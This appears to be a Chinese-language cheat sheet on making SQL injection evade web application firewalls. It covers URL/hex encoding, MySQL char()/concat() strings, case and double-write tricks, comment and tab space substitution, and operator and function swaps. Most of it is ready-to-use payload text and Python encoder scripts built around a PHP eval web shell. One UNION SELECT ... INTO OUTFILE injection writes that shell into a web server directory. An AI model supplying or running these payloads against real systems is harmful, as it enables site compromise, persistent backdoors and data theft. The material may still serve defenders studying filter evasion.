SQL 绕过
编码伪装
url编码(16进制ascii码)
python
url 使用的是ascii码16进制
使用url编码尝试绕过waf
waf 不会解码
后端 会解码
尝试用url编码 绕过waf的黑名单
perl
1 -> %31
perl
admin = 0x61646d696e = %61%64%6d%69%6e
"<?php @eval($_POST['cmd'])?>"
0x223c3f70687020406576616c28245f504f53545b27636d64275d293f3e22
%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3f%3e%22
python脚本实现
python
def custom_url_encode(s):
"""
自定义URL编码函数。
将输入字符串中的每个字符转换为其对应的ASCII码的十六进制表示,并前缀百分号。
参数:
s(str): 需要编码的字符串。
返回:
str: 编码后的字符串。
"""
result = ""
for char in s:
# 判断字符是否为字母数字字符,或者是否在保留字符列表中
if char.isalnum() or char in ["_", ".", "~"]:
# 对于字母数字字符和保留字符,直接将其转换为十六进制并添加到结果中
hex_val = hex(ord(char))[2:].upper()
result += f"%{hex_val}"
else:
# 对于其他字符,也将其转换为十六进制并添加到结果中
hex_val = hex(ord(char))[2:].upper()
result += f"%{hex_val}"
return result
# 原始字符串,包含可能需要被编码的特殊字符
original_str = ''
# 调用自定义的URL编码函数对原始字符串进行编码
encoded_str = custom_url_encode(original_str)
# 打印编码后的字符串
print(encoded_str)
使用mysql的char函数代替字符串
char() 将十进制 ascii 码 转换为 字符
scss
p -> 112 char(112)
less
"<?php @eval($_POST['cmd'])?>"
?id=-211001 union select 1,2,3,4,"<?php @eval($_POST['cmd'])?>" into outfile("/tmp/ss.txt") --+
1' or 1=1 union select 1,2,concat(char(34),char(60),char(63),char(112),char(104),char(112),char(32),char(64),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(39),char(99),char(109),char(100),char(39),char(93),char(41),char(63),char(62),char(34)) into outfile "/opt/lampp/htdocs/fanyun/fanyun7.php" -- -
注意
lua
使用 char 必须使用 concat拼接 整个 语句 不能 单独使用
缺点:长度太长 容易被限制
python脚本实现
python
def strtochar(string):
char = "concat(\"\""
for i in string:
char += f",char({ord(i)})"#ascii码十进制
char += ")"
return char
if __name__ == '__main__':
string = "<?php @eval($_POST['cmd'])?>"
print(strtochar(string))
lua
需要使用 concat 将字母连起来
Unicode编码
unicode 编码 使用的是 ascii编码10进制
在 MySQL、Oracle、SQL Server 等数据库中,可以使用 Unicode 数据类型(如 nvarchar、nchar 等)来存储 Unicode 编码的字符串。
bash
1 -> 1
大小写绕过(针对str_replace)
rust
开发者可能只用了str_replease
没有使用str_ireplease
and -> And
双写绕过(针对替换为空)
ini
$param = str_ireplace("and","",$param)
替换为空
使用
注释替换空格
ini
$param = str_ireplace(" ","",$param)
/**/ -> %2F%2A%2A%2F
制表符替换空格
perl
tab -> %09
like in替换等号
sql
1 like 1
'a' like 'a'
1 in (1)
'a' in ('a')
select database() regexp '^n'
比较符号替换
csharp
select length(database()) between 9 and 10;
逻辑符号绕过
ini
and/or/not/xor
and => &&
or => ||
not => !
xor => |
url编码绕过
在sql注入时,可能会出现一些关键字被程序员或是waf进行拦截,特别是一些eval,assert、php、get、post这样的关键字或者'。此时可以使用编码绕过的方式
十六进制或则其他编码代替字符串
perl
php 自动解析 其它可以
admin = 0x61646d696e = %61%64%6d%69%6e
"<?php @eval($_POST['cmd'])?>"
0x223c3f70687020406576616c28245f504f53545b27636d64275d293f3e22
%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3f%3e%22
char函数绕过
less
"<?php @eval($_POST['cmd'])?>"
concat(char(34),char(60),char(63),char(112),char(104),char(112),char(32),char(64),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(39),char(99),char(109),char(100),char(39),char(93),char(41),char(63),char(62),char(34))
python
less
def strtochars(s):
char = "concat("
for i in s:
char += f"char({ord(i)}), "
# 清除最后一个 ,
char = char[0:-2]
char += f")"
return char
if __name__ == '__main__':
s = "\"<?php @eval($_POST['cmd'])?>\""
print(strtochars(s))
常用函数绕过
scss
hex(),bin()->
1 hex()、bin() = ascii()
2 sleep() = benchmark()
3 concat_ws() = group_concat()
4 mid()、substr() = substring()
5 @@user = user()
6 @@datadir = datadir()